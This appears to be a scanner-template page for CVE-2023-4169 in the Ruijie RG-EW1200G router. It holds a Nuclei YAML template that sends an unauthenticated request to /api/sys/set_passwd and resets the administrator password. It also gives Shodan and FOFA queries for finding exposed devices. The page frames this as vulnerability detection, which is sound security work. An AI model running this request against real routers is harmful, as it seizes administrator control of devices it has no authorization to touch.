Ruijie RG-EW1200G Router - Password Reset

ID: CVE-2023-4169

Severity: high

Author: DhiyaneshDK

Tags: cve,cve2023,ruijie,router,intrusive

Description

A vulnerability was found in Ruijie RG-EW1200G 1.0(1)B1P5. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /api/sys/set_passwd of the component Administrator Password Handler. The manipulation leads to improper access controls. The attack can be launched remotely.

YAML Source

id: CVE-2023-4169

info:
  name: Ruijie RG-EW1200G Router - Password Reset
  author: DhiyaneshDK
  severity: high
  description: |
    A vulnerability was found in Ruijie RG-EW1200G 1.0(1)B1P5. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /api/sys/set_passwd of the component Administrator Password Handler. The manipulation leads to improper access controls. The attack can be launched remotely.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4169
    - https://github.com/blakespire/repoforcve/tree/main/RG-EW1200G
    - https://vuldb.com/?ctiid.236185
    - https://vuldb.com/?id.236185
    - https://github.com/20142995/sectool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-4169
    cwe-id: CWE-284,NVD-CWE-noinfo
    epss-score: 0.0131
    epss-percentile: 0.85907
    cpe: cpe:2.3:o:ruijie:rg-ew1200g_firmware:1.0\(1\)b1p5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ruijie
    product: rg-ew1200g_firmware
    shodan-query: http.html:"app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
    fofa-query: body="app.2fe6356cdd1ddd0eb8d6317d1a48d379.css"
  tags: cve,cve2023,ruijie,router,intrusive
variables:
  password: "{{rand_base(8)}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/sys/set_passwd"

    body: |
      {
      "username":"web",
      "admin_new":"{{password}}"
      }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"result":"ok"'

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dab590fa119b332d0a481d85669cbb66d18b02dca781894cdc52c725f2e1ea36022025e6664da828694fb3a87b453872da0ce0df931dc9df5dd972bc393b854971fd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-4169.yaml"

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